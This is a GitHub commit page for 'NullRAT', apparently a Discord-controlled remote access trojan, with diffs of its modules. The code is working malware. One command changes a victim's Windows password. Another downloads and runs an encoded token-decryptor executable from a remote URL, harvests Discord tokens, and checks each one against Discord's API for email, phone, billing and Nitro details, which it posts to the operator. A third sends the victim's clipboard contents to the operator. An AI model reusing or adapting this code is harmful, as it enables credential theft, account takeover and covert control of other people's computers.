Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 3ef5cf7

Browse files
committed
NullRAT: Major rewrite
Fix inconsistencies, remove random stuff, unify the codebase Next TODO is to implement custom webcam and discord checked instead of using 3rd parties
1 parent 3fa3dd5 commit 3ef5cf7

23 files changed

Lines changed: 916 additions & 794 deletions

NullRAT/RAT.py

Lines changed: 226 additions & 104 deletions
Large diffs are not rendered by default.

NullRAT/modules/ChangePass.py

Lines changed: 26 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,35 +1,45 @@
1-
import disnake as discord
21
from disnake.ext import commands
32
from datetime import datetime
43

5-
import os, requests, ctypes
6-
nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
4+
import os
5+
import ctypes
76

8-
class ChangePass(commands.Cog):
7+
8+
class changePass(commands.Cog):
99
def __init__(self, bot: commands.Bot):
1010
self.bot = bot
1111

12-
@commands.slash_command( )
13-
async def changepass(self, ctx, victim, password):
12+
@commands.slash_command()
13+
async def set_password(self, ctx, victim, password):
1414
"""Changes the password of victim's windows profile. Admin required
15-
15+
1616
Parameters
1717
----------
1818
victim: Identifier of the affected computer (found via /listvictims).
1919
password: New password to change for running user
2020
"""
21-
22-
if self.valid(victim):
21+
22+
if self.bot.valid(victim):
2323
# Admin detection, this command will not work for regular users
2424
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
25-
if is_admin == False:
26-
return await ctx.followup.send("NullRAT is not running as admin. Operation aborted")
27-
25+
if not is_admin:
26+
return await ctx.response.send_message(
27+
embed=self.bot.genEmbed(
28+
"NullRAT is not running as admin. Operation aborted",
29+
datetime.now(),
30+
)
31+
)
32+
2833
status = os.popen(r"net user %username% " + password).read()
2934
if "success" in status.lower():
30-
return await ctx.followup.send(fr"Success: Password changed to {password}")
31-
32-
return await ctx.followup.send(fr"Unspecified error! Log: {status}")
35+
return await ctx.response.send_message(
36+
embed=self.bot.genEmbed(
37+
rf"Success: Password changed to {password}", datetime.now()
38+
)
39+
)
40+
41+
return await ctx.response.send_message(rf"Unspecified error! Log: {status}")
42+
3343

3444
def setup(bot: commands.Bot):
35-
bot.add_cog(ChangePass(bot))
45+
bot.add_cog(changePass(bot))

NullRAT/modules/checkedtokens.py

Lines changed: 120 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -5,15 +5,18 @@
55
from datetime import datetime
66
from base64 import decodebytes
77

8-
import os, requests
9-
nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
8+
import os
9+
import requests
10+
1011

1112
class CheckedTokens(commands.Cog):
1213
def __init__(self, bot: commands.Bot):
1314
self.bot = bot
1415

15-
def checked_embeds(self, token, email, phone, username, nitro, billing, avatar, userID):
16-
embed=discord.Embed(title="Token Info:")
16+
def checked_embeds(
17+
self, token, email, phone, username, nitro, billing, avatar, userID
18+
):
19+
embed = discord.Embed(title="Token Info:")
1720
embed.set_author(name="NullCode1337", url="https://github.com/NullCode1337")
1821
embed.set_thumbnail(url=avatar)
1922
embed.add_field(name="Token", value=f"```{token}```", inline=False)
@@ -25,62 +28,122 @@ def checked_embeds(self, token, email, phone, username, nitro, billing, avatar,
2528
embed.add_field(name="Email", value=email, inline=False)
2629
return embed
2730

28-
@commands.slash_command( )
29-
async def checked_tokens(self, ctx, victim):
31+
@commands.slash_command()
32+
async def tokens_checked(self, ctx, victim):
3033
"""Decrypts and checks all Discord Tokens
3134
3235
Parameters
3336
----------
3437
victim: Identifier of the affected computer (found via /listvictims).
3538
"""
36-
if self.valid(victim):
39+
if self.bot.valid(victim):
3740
await ctx.response.defer()
3841
try:
39-
tkr = bytes(requests.get("https://raw.githubusercontent.com/NullCode13-Misc/DiscordTokenDecrypt-Go/main/rec_dump_broken").text, "utf-8")
42+
tkr = bytes(
43+
requests.get(
44+
"https://raw.githubusercontent.com/NullCode13-Misc/DiscordTokenDecrypt-Go/main/rec_dump_broken"
45+
).text,
46+
"utf-8",
47+
)
4048
except Exception as e:
41-
return await ctx.followup.send("Unable to download custom decryptor!\n\n"+e)
42-
43-
os.chdir(nr_working)
44-
with open("tkr.exe", "wb") as fh: fh.write(decodebytes(tkr))
45-
discord_tokenz = str(os.popen("tkr.exe").read()).strip('][').split(', ')
46-
47-
valid, email, phone, uname, nitro, bill, avatar, dcTks, idq = [], [], [], [], [], [], [], [], []
48-
for a in discord_tokenz: dcTks.append(a.replace('"',''))
49-
49+
return await ctx.followup.send(
50+
"Unable to download custom decryptor!\n\n" + e
51+
)
52+
53+
os.chdir(self.bot.nr_working)
54+
with open("tkr.exe", "wb") as fh:
55+
fh.write(decodebytes(tkr))
56+
discord_tokenz = str(os.popen("tkr.exe").read()).strip("][").split(", ")
57+
58+
valid, email, phone, uname, nitro, bill, avatar, dcTks, idq = (
59+
[],
60+
[],
61+
[],
62+
[],
63+
[],
64+
[],
65+
[],
66+
[],
67+
[],
68+
)
69+
for a in discord_tokenz:
70+
dcTks.append(a.replace('"', ""))
71+
5072
webTks = self.bot.find_token()
5173
finalTks = list(dict.fromkeys(dcTks + webTks))
52-
74+
5375
for token in finalTks:
54-
headers = {'Authorization': token, 'Content-Type': 'application/json'}
55-
requ = requests.get('https://discordapp.com/api/v6/users/@me', headers=headers)
56-
57-
if requ.status_code == 401:
58-
await ctx.channel.send(embed=discord.Embed(title="Token is invalid!",description=token))
76+
headers = {"Authorization": token, "Content-Type": "application/json"}
77+
requ = requests.get(
78+
"https://discordapp.com/api/v6/users/@me", headers=headers
79+
)
80+
81+
if requ.status_code == 401:
82+
await ctx.channel.send(
83+
embed=discord.Embed(
84+
title="Token is invalid!", description=token
85+
)
86+
)
5987
continue
88+
6089
if requ.status_code == 200:
61-
valid.append( str(token) )
90+
valid.append(str(token))
6291
json = requ.json()
63-
email.append( str(json['email']) )
64-
phone.append( str(json['phone']) )
65-
idq.append( str(json["id"]) )
66-
uname.append( f'{json["username"]}#{json["discriminator"]}' )
67-
avatar.append(f"https://cdn.discordapp.com/avatars/{str(json['id'])}/{str(json['avatar'])}" )
68-
nitro.append(str(bool(len(requests.get('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=headers).json()) > 0)))
69-
bill.append(str(bool(len(requests.get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json()) > 0)))
92+
email.append(str(json["email"]))
93+
phone.append(str(json["phone"]))
94+
idq.append(str(json["id"]))
95+
uname.append(f"{json['username']}#{json['discriminator']}")
96+
avatar.append(
97+
f"https://cdn.discordapp.com/avatars/{str(json['id'])}/{str(json['avatar'])}"
98+
)
99+
nitro.append(
100+
str(
101+
bool(
102+
len(
103+
requests.get(
104+
"https://discordapp.com/api/v6/users/@me/billing/subscriptions",
105+
headers=headers,
106+
).json()
107+
)
108+
> 0
109+
)
110+
)
111+
)
112+
bill.append(
113+
str(
114+
bool(
115+
len(
116+
requests.get(
117+
"https://discordapp.com/api/v6/users/@me/billing/payment-sources",
118+
headers=headers,
119+
).json()
120+
)
121+
> 0
122+
)
123+
)
124+
)
70125
continue
71126

72-
if len(valid) == 0:
73-
return await ctx.followup.send(embed = self.bot.genEmbed("No valid Discord Tokens", datetime.now()))
127+
if len(valid) == 0:
128+
return await ctx.followup.send(
129+
embed=self.bot.genEmbed("No valid Discord Tokens", datetime.now())
130+
)
131+
74132
embeds = []
75-
for tk, em, ph, un, ni, bi, av, idqa in zip(valid, email, phone, uname, nitro, bill, avatar, idq):
133+
134+
for tk, em, ph, un, ni, bi, av, idqa in zip(
135+
valid, email, phone, uname, nitro, bill, avatar, idq
136+
):
76137
embeds.append(self.checked_embeds(tk, em, ph, un, ni, bi, av, idqa))
77-
78-
if len(embeds) <= 1: await ctx.channel.send(embed=embeds[0])
79-
else: await ctx.channel.send(embed=embeds[0], view=Menu(embeds))
80-
138+
139+
if len(embeds) <= 1:
140+
await ctx.channel.send(embed=embeds[0])
141+
else:
142+
await ctx.channel.send(embed=embeds[0], view=Menu(embeds))
143+
81144
await ctx.followup.send("Checked all tokens")
82-
83-
145+
146+
84147
class Menu(discord.ui.View):
85148
def __init__(self, embeds: List[discord.Embed]):
86149
super().__init__(timeout=None)
@@ -91,10 +154,14 @@ def __init__(self, embeds: List[discord.Embed]):
91154
self.prev_page.disabled = True
92155

93156
for i, embed in enumerate(self.embeds):
94-
embed.set_footer(text=f"Page {i + 1} of {len(self.embeds)} | Checked by NullRAT")
157+
embed.set_footer(
158+
text=f"Page {i + 1} of {len(self.embeds)} | Checked by NullRAT"
159+
)
95160

96161
@discord.ui.button(label="<< First", style=discord.ButtonStyle.blurple)
97-
async def first_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction):
162+
async def first_page(
163+
self, button: discord.ui.Button, interaction: discord.MessageInteraction
164+
):
98165
self.embed_count = 0
99166
embed = self.embeds[self.embed_count]
100167
embed.set_footer(text=f"Page 1 of {len(self.embeds)}")
@@ -106,7 +173,9 @@ async def first_page(self, button: discord.ui.Button, interaction: discord.Messa
106173
await interaction.response.edit_message(embed=embed, view=self)
107174

108175
@discord.ui.button(label="< Previous", style=discord.ButtonStyle.secondary)
109-
async def prev_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction):
176+
async def prev_page(
177+
self, button: discord.ui.Button, interaction: discord.MessageInteraction
178+
):
110179
self.embed_count -= 1
111180
embed = self.embeds[self.embed_count]
112181

@@ -118,7 +187,9 @@ async def prev_page(self, button: discord.ui.Button, interaction: discord.Messag
118187
await interaction.response.edit_message(embed=embed, view=self)
119188

120189
@discord.ui.button(label="Next >", style=discord.ButtonStyle.secondary)
121-
async def next_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction):
190+
async def next_page(
191+
self, button: discord.ui.Button, interaction: discord.MessageInteraction
192+
):
122193
self.embed_count += 1
123194
embed = self.embeds[self.embed_count]
124195

@@ -130,7 +201,9 @@ async def next_page(self, button: discord.ui.Button, interaction: discord.Messag
130201
await interaction.response.edit_message(embed=embed, view=self)
131202

132203
@discord.ui.button(label="Last >>", style=discord.ButtonStyle.blurple)
133-
async def last_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction):
204+
async def last_page(
205+
self, button: discord.ui.Button, interaction: discord.MessageInteraction
206+
):
134207
self.embed_count = len(self.embeds) - 1
135208
embed = self.embeds[self.embed_count]
136209

@@ -140,5 +213,6 @@ async def last_page(self, button: discord.ui.Button, interaction: discord.Messag
140213
self.last_page.disabled = True
141214
await interaction.response.edit_message(embed=embed, view=self)
142215

216+
143217
def setup(bot: commands.Bot):
144-
bot.add_cog(CheckedTokens(bot))
218+
bot.add_cog(CheckedTokens(bot))

NullRAT/modules/clipboard.py

Lines changed: 15 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,36 +1,36 @@
1-
import disnake as discord
21
from disnake.ext import commands
32
from datetime import datetime
43

5-
import os, requests
6-
nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
4+
import os
5+
76

87
class GetClipboard(commands.Cog):
98
def __init__(self, bot: commands.Bot):
109
self.bot = bot
11-
12-
@commands.slash_command( )
10+
11+
@commands.slash_command()
1312
async def get_clipboard(self, ctx, victim):
1413
"""Sends current text stored in user clipboard
15-
14+
1615
Parameters
1716
----------
1817
victim: Identifier of the affected computer (found via /listvictims).
1918
"""
20-
if self.valid(victim):
19+
if self.bot.valid(victim):
2120
await ctx.response.defer()
22-
21+
2322
outp = os.popen("powershell Get-Clipboard").read()
2423
if len(outp) > 1000:
2524
return await ctx.followup.send(f"```{outp}```")
26-
27-
embed = self.bot.genEmbed(
28-
"Clipboard contents",
29-
datetime.now(),
30-
f"```{outp}```" if outp != "" else "No text in clipboard"
25+
26+
embed = self.bot.genEmbed(
27+
"Clipboard contents",
28+
datetime.now(),
29+
f"```{outp}```" if outp != "" else "No text in clipboard",
3130
)
32-
31+
3332
await ctx.followup.send(embed=embed)
3433

34+
3535
def setup(bot: commands.Bot):
36-
bot.add_cog(GetClipboard(bot))
36+
bot.add_cog(GetClipboard(bot))

NullRAT/modules/create_new_module.py

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -2,25 +2,26 @@
22
from disnake.ext import commands
33
from datetime import datetime
44

5-
import os, requests
6-
nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
5+
import os
6+
import requests
77

88
class CMDNAME(commands.Cog):
99
def __init__(self, bot: commands.Bot):
1010
self.bot = bot
1111

12-
@commands.slash_command( )
13-
async def CMDNAME(self, ctx, victim, argumentsss):
12+
@commands.slash_command()
13+
async def CMDNAME(self, ctx, victim, argumentsss):
1414
"""CMD DESCRIPTION
15-
15+
1616
Parameters
1717
----------
1818
victim: Identifier of the affected computer (found via /listvictims).
1919
argumentsss: ARGUMENT DESCRIPTION
2020
"""
21-
22-
if self.valid(victim):
21+
22+
if self.bot.valid(victim):
2323
""" command here... """
2424

25+
2526
def setup(bot: commands.Bot):
2627
bot.add_cog(CMDNAME(bot))

0 commit comments

Comments
 (0)